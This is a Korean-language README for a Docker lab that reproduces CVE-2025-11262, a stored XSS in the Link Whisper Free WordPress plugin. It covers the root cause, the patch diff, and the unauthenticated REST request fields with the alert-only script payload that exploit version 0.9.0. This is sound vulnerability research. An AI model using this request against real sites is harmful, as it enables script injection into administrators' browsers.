
Docker lab for reproducing CVE-2025-11262, an unauthenticated stored blind XSS in Link Whisper Free WordPress plugin. Includes vulnerable and patched targets, PoC script, and root cause analysis.
이 저장소는 WordPress 플러그인 Link Whisper Free에 영향을 미치는 인증되지 않은 저장형 크로스 사이트 스크립팅 문제인 CVE-2025-11262를 재현하기 위한 로컬 Docker 랩을 포함합니다.
이 랩은 두 가지 플러그인 버전을 비교합니다:
| 서비스 | 플러그인 버전 | 목적 | URL |
|---|---|---|---|
vuln | 0.9.0 | 취약한 대상 | http://127.0.0.1:8081 |
patched | 0.9.1 | 패치된 비교 대상 | http://127.0.0.1:8082 |
시연된 취약점 체인은 다음과 같습니다:
인증되지 않은 REST 요청
→ 공격자가 제어하는 user_id가 저장됨
→ 권한 있는 WordPress 사용자가 Link Whisper AI Subscription 페이지를 엶
→ 저장된 값이 관리자 JavaScript 컨텍스트에 렌더링됨
→ alert("CVE-2025-11262-LAB")이 취약한 버전에서 실행됨
공격자는 저장된 페이로드를 심기 위해 로그인할 필요가 없습니다. JavaScript는 나중에 권한 있는 WordPress 사용자가 영향을 받는 관리자 페이지를 열 때 실행됩니다.
이 랩은 통제된 로컬 연구, 소스 수준 이해 및 포트폴리오 시연 전용으로 설계되었습니다.
다음은 Root Cause Summary 부분입니다. README에 바로 대체할 수 있습니다. public-safe이며, vuln_detail.txt와 같은 내부 파일을 언급하지 않고 현재 사용 중인 lab/source를 기반으로 합니다.
CVE-2025-11262는 Link Whisper Free 0.9.0에서 저장형 JavaScript 주입 체인으로 인해 발생합니다.
이 문제는 단일 이스케이프 호출 누락이 아닙니다. 여러 안전하지 않은 동작의 체인입니다:
인증되지 않은 REST 엔드포인트
→ user_id의 불충분한 검증
→ wpil_ai_access_user_id에 영구 저장
→ 관리자 JavaScript 컨텍스트로 안전하지 않은 렌더링
→ 권한 있는 사용자가 AI Subscription 페이지를 열 때 저장형 XSS 발생
Link Whisper Free는 플러그인 REST 네임스페이스 아래에 AI 인증 REST 엔드포인트를 등록합니다:
const REST_SLUG = 'link-whisper';
const AI_AUTH = 'ai-auth';
엔드포인트는 POST 경로로 등록됩니다:
register_rest_route(self::REST_SLUG, self::AI_AUTH, [
'methods' => 'POST',
'callback' => [
$this,
'ai_auth_handler'
],
'permission_callback' => "__return_true",
'show_in_index' => false
]);
권한 콜백이 __return_true이므로 엔드포인트는 인증 없이 접근 가능합니다.
랩에서 실제 엔드포인트는 다음과 같습니다:
/wp-json/link-whisper/ai-auth
즉, 인증되지 않은 공격자는 WordPress 세션, nonce 또는 관리자 계정 없이 엔드포인트에 요청을 보낼 수 있습니다.
Link Whisper Free 0.9.0에서 핸들러는 REST 요청에서 공격자가 제어하는 매개변수를 읽습니다:
public function ai_auth_handler( WP_REST_Request $request )
{
if(!empty($request->get_param('access_token'))){
$token = $request->get_param('access_token');
$user_id = $request->get_param('user_id');
$uid = (int)$request->get_param('uid');
$uemail = $request->get_param('uemail');
if(!empty($token) && false !== strpos($token, 'ai-')){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', $uemail);
update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
update_option('wpil_ai_access_authorized', true);
}
return 'ok';
}
return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}
취약한 동작은 약한 검증 조건입니다:
if(!empty($token) && false !== strpos($token, 'ai-')){
이것은 제공된 액세스 토큰에 문자열 ai-가 포함되어 있는지만 확인합니다.
user_id는 저장되기 전에 엄격한 검증이 없습니다:
update_option('wpil_ai_access_user_id', $user_id);
결과적으로 공격자가 제어하는 JavaScript가 WordPress 옵션 테이블에 저장될 수 있습니다.
공격자가 제어하는 user_id 값은 WordPress 옵션에 저장됩니다:
wpil_ai_access_user_id
이 랩에서 PoC는 다음 로컬 전용 페이로드를 보냅니다:
</script><script>alert("CVE-2025-11262-LAB")</script>
취약한 서비스에서 페이로드는 wpil_ai_access_user_id의 값으로 저장됩니다.
공격자는 페이로드를 심기 위해 로그인할 필요가 없습니다. 페이로드는 인증되지 않은 REST 엔드포인트를 통해 심어집니다.
저장된 값은 나중에 플러그인 설정 로직을 통해 검색됩니다:
public static function get_linkwhisper_ai_user_id(){
return get_option('wpil_ai_access_user_id', '');
}
값은 $ai_id에 할당되고 AI Subscription 관리자 페이지로 렌더링됩니다.
Link Whisper Free 0.9.0에서 값은 JavaScript 문자열에 직접 삽입됩니다:
body: JSON.stringify({
ai_id: "<?php echo $ai_id;?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? $sub->subscription_id: null;?>"
})
$ai_id가 JavaScript 컨텍스트에 삽입되기 전에 이스케이프되지 않으므로 저장된 페이로드가 의도된 문자열을 벗어나 관리자 페이지가 열릴 때 JavaScript를 실행할 수 있습니다.
랩 페이로드를 사용하면 취약한 렌더링 출력은 다음과 동등해집니다:
body: JSON.stringify({
ai_id: "</script><script>alert("CVE-2025-11262-LAB")</script>",
subscription_id: ""
})
브라우저에서 주입된 닫는 </script> 태그가 원래 스크립트 블록을 종료하고 주입된 <script> 블록이 실행됩니다.
페이로드는 인증되지 않은 공격자에 의해 심어지지만, 실행은 권한 있는 WordPress 사용자가 영향을 받는 관리자 페이지를 열어야 합니다:
/wp-admin/admin.php?page=link_whisper_ai_subscription
이 랩에서 영향을 받는 페이지는 WordPress 관리자로 열려 경고 대화상자를 트리거합니다.
따라서 이 문제는 Link Whisper AI Subscription 관리자 페이지에 접근할 수 있는 인증된 WordPress 관리자 또는 권한 있는 사용자를 대상으로 하는 인증되지 않은 저장형 XSS입니다.
Link Whisper Free 0.9.1은 AI 인증 값을 저장하기 전에 더 엄격한 검증을 추가합니다.
패치된 핸들러는 토큰과 사용자 ID가 엄격한 형식과 일치해야 합니다:
if(
!empty($token) &&
false !== strpos($token, 'ai-') &&
(bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
(bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
update_option('wpil_ai_access_user_id', $user_id);
update_option('wpil_ai_access_user_email', sanitize_email($uemail));
update_option('wpil_ai_access_authorized', true);
}
user_id에 추가된 중요한 검증은:
preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
이것은 임의의 JavaScript가 AI 사용자 ID로 저장되는 것을 방지합니다.
버전 0.9.1은 또한 JavaScript 컨텍스트로 렌더링하기 전에 값을 이스케이프합니다:
body: JSON.stringify({
ai_id: "<?php echo esc_attr($ai_id);?>",
subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})
따라서 패치는 두 지점에서 문제를 완화합니다:
입력 검증 (저장 전)
출력 이스케이프 (JavaScript 렌더링 전)
랩은 0.9.0과 0.9.1의 차이를 확인합니다.
Link Whisper Free 0.9.0에서:
POST /wp-json/link-whisper/ai-auth
→ "ok" 반환
→ 페이로드를 wpil_ai_access_user_id에 저장
→ AI Subscription 관리자 페이지를 열면 alert("CVE-2025-11262-LAB") 트리거
Link Whisper Free 0.9.1에서:
POST /wp-json/link-whisper/ai-auth
→ 여전히 "ok"를 반환할 수 있음
→ 페이로드를 저장하지 않음
→ AI Subscription 관리자 페이지를 열어도 알림이 트리거되지 않음
HTTP 응답만으로는 대상이 취약한지 판단하기에 충분하지 않습니다. 두 버전 모두 "ok"를 반환할 수 있기 때문입니다. 의미 있는 동작 차이는 페이로드가 저장되고 나중에 관리자 JavaScript 컨텍스트에서 렌더링되는지 여부입니다.
랩은 Docker Compose를 통해 두 개의 격리된 WordPress 인스턴스와 두 개의 별도 MySQL 데이터베이스를 실행합니다.
.
├── docker/
│ └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── README.md
└── vuln/
└── Dockerfile
Docker 엔트리포인트는 자동으로:
두 서비스의 기본 WordPress 관리자 자격 증명:
admin / AdminPassw0rd!
랩 빌드 및 시작:
docker compose down -v
docker compose build --no-cache
docker compose up -d
컨테이너 확인:
docker compose ps
예상 노출 서비스:
취약 대상: http://127.0.0.1:8081
패치 대상: http://127.0.0.1:8082
설정 로그도 확인할 수 있습니다:
docker compose logs vuln patched
성공적인 설정은 각 WordPress 인스턴스에서 Link Whisper가 활성화된 것을 보여줍니다.
취약한 서비스에 대해 PoC 실행:
python3 poc/poc.py --url http://127.0.0.1:8081
PoC는 인증되지 않은 REST 엔드포인트를 통해 다음 로컬 전용 페이로드를 전송합니다:
</script><script>alert("CVE-2025-11262-LAB")</script>
스크립트가 실행된 후, 브라우저에서 출력된 관리자 URL을 열고 다음으로 로그인하세요:
admin / AdminPassw0rd!
취약한 서비스에서 브라우저는 다음을 포함하는 경고를 표시해야 합니다:
CVE-2025-11262-LAB
비교를 위해 패치된 서비스에 대해 동일한 PoC를 실행하세요:
python3 poc/poc.py --url http://127.0.0.1:8082
그런 다음 패치된 서비스의 출력된 관리자 URL을 엽니다. 알림이 트리거되지 않아야 합니다.
취약 대상:
[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
[next step]
Open this URL in a browser and login as the lab administrator:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
패치 대상:
[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>
[result]
http_status: 200
response_body: '"ok"'
HTTP 응답만으로는 대상이 취약한지 판단하기에 충분하지 않습니다. 중요한 차이는 권한 있는 사용자가 영향을 받는 관리자 페이지를 연 후 브라우저 동작입니다.

제안된 스크린샷 대상:
http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription
스크린샷에는 다음과 같은 브라우저 경고가 표시되어야 합니다:
CVE-2025-11262-LAB
PoC는 의도적으로 작으며 대상 URL만 필요합니다:
python3 poc/poc.py --url http://127.0.0.1:8081
다음으로 POST 요청을 전송합니다:
/wp-json/link-whisper/ai-auth
다음 양식 필드와 함께:
access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id = </script><script>alert("CVE-2025-11262-LAB")</script>
uid = 1
uemail = [email protected]
취약한 서비스에서 저장된 값은 나중에 AI Subscription 페이지로 렌더링됩니다. 관리자가 해당 페이지를 열면 JavaScript가 실행됩니다.
패치된 서비스에서는 동일한 페이로드로 인해 알림이 발생하지 않아야 합니다.
플러그인 버전 확인:
docker compose exec -T vuln wp plugin list --allow-root | grep link-whisper
docker compose exec -T patched wp plugin list --allow-root | grep link-whisper
취약한 서비스가 페이로드를 저장했는지 확인:
docker compose exec -T vuln wp option get wpil_ai_access_user_id --allow-root
예상 취약 값:
</script><script>alert("CVE-2025-11262-LAB")</script>
패치된 서비스 확인:
docker compose exec -T patched wp option get wpil_ai_access_user_id --allow-root
예상 패치 동작:
Error: Could not get 'wpil_ai_access_user_id' option. Does it exist?
REST 엔드포인트 접근 로그 확인:
docker compose logs vuln patched | grep 'wp-json/link-whisper/ai-auth'
Link Whisper Free를 0.9.1 이상으로 업그레이드하세요.
패치는 영향을 받는 AI 인증 흐름 주변에 더 엄격한 검증과 더 안전한 출력 처리를 추가하여 이 랩 페이로드가 저장되고 렌더링되는 것을 방지합니다.
프로덕션 환경에서는 다음도 고려하세요:
컨테이너, 네트워크, 볼륨 중지 및 제거:
docker compose down -v
원하는 경우 로컬로 빌드된 이미지 제거:
docker image rm cve-2025-11262-vuln cve-2025-11262-patched 2>/dev/null || true
이 랩은 로컬 보안 연구 및 통제된 시연 전용입니다.
소유하지 않거나 테스트 권한이 없는 시스템에 대해 PoC를 실행하지 마세요.
이 랩에서 실제 자격 증명, 프로덕션 비밀 또는 외부 콜백을 사용하지 마세요.
PoC는 스크린샷 증거를 위해 의도적으로 가시적인 alert() 마커를 사용합니다. 자격 증명 도용, 세션 도용, 랩 외부 지속성 또는 자동화된 관리자 작업을 위한 페이로드는 포함하지 않습니다.
GitHub Advisory Database: CVE-2025-11262 / GHSA-7h4c-hr9j-8q85
https://github.com/advisories/GHSA-7h4c-hr9j-8q85
Wordfence Intelligence: Link Whisper Free 취약점 데이터베이스 항목
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/link-whisper
WordPress.org Plugin Directory: Link Whisper Free
https://wordpress.org/plugins/link-whisper/
취약한 랩에서 사용된 WordPress.org 플러그인 패키지
https://downloads.wordpress.org/plugin/link-whisper.0.9.0.zip
패치된 랩에서 사용된 WordPress.org 플러그인 패키지
https://downloads.wordpress.org/plugin/link-whisper.0.9.1.zip
WordPress 플러그인 소스 브라우저: Link Whisper 0.9.0 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Rest.php
WordPress 플러그인 소스 브라우저: Link Whisper 0.9.1 Rest.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.1/core/Wpil/Rest.php
WordPress 플러그인 소스 브라우저: Link Whisper 0.9.0 Settings.php
https://plugins.trac.wordpress.org/browser/link-whisper/tags/0.9.0/core/Wpil/Settings.php
WordPress 플러그인 소스 브라우저: Link Whisper 0.9.1 Settings.php
| 주장 | 증거 | 이 랩에서 확인하는 방법 |
|---|
Link Whisper Free 0.9.0이 취약합니다. | 공개 권고는 Link Whisper Free 버전 0.9.0까지 영향을 받는 것으로 식별합니다. | PoC를 http://127.0.0.1:8081에 대해 실행하고 출력된 관리자 URL을 엽니다. |
Link Whisper Free 0.9.1에는 수정 사항이 포함되어 있습니다. | 공개 권고 및 변경 로그 데이터는 0.9.1을 패치된 버전으로 식별합니다. | 동일한 PoC를 http://127.0.0.1:8082에 대해 실행하면 알림이 나타나지 않아야 합니다. |
| 페이로드 심기는 인증되지 않습니다. | PoC는 WordPress 쿠키, 로그인 또는 nonce 없이 POST 요청을 보냅니다. | poc/poc.py를 검사하면 --url만 필요합니다. |
| 가시적인 영향은 WordPress 관리자 영역에서 트리거됩니다. | 저장된 값은 권한 있는 사용자가 Link Whisper AI Subscription 페이지를 열 때 렌더링됩니다. | PoC 실행 후 admin으로 로그인하고 출력된 관리자 URL을 엽니다. |
패치된 대상은 HTTP 계층에서 여전히 "ok"를 반환할 수 있습니다. | 로컬 테스트에서 두 대상 모두 "ok"를 반환할 수 있습니다. 의미 있는 차이는 페이로드가 저장되고 실행되는지 여부입니다. | 8081 및 8082에서 브라우저 동작을 비교합니다. |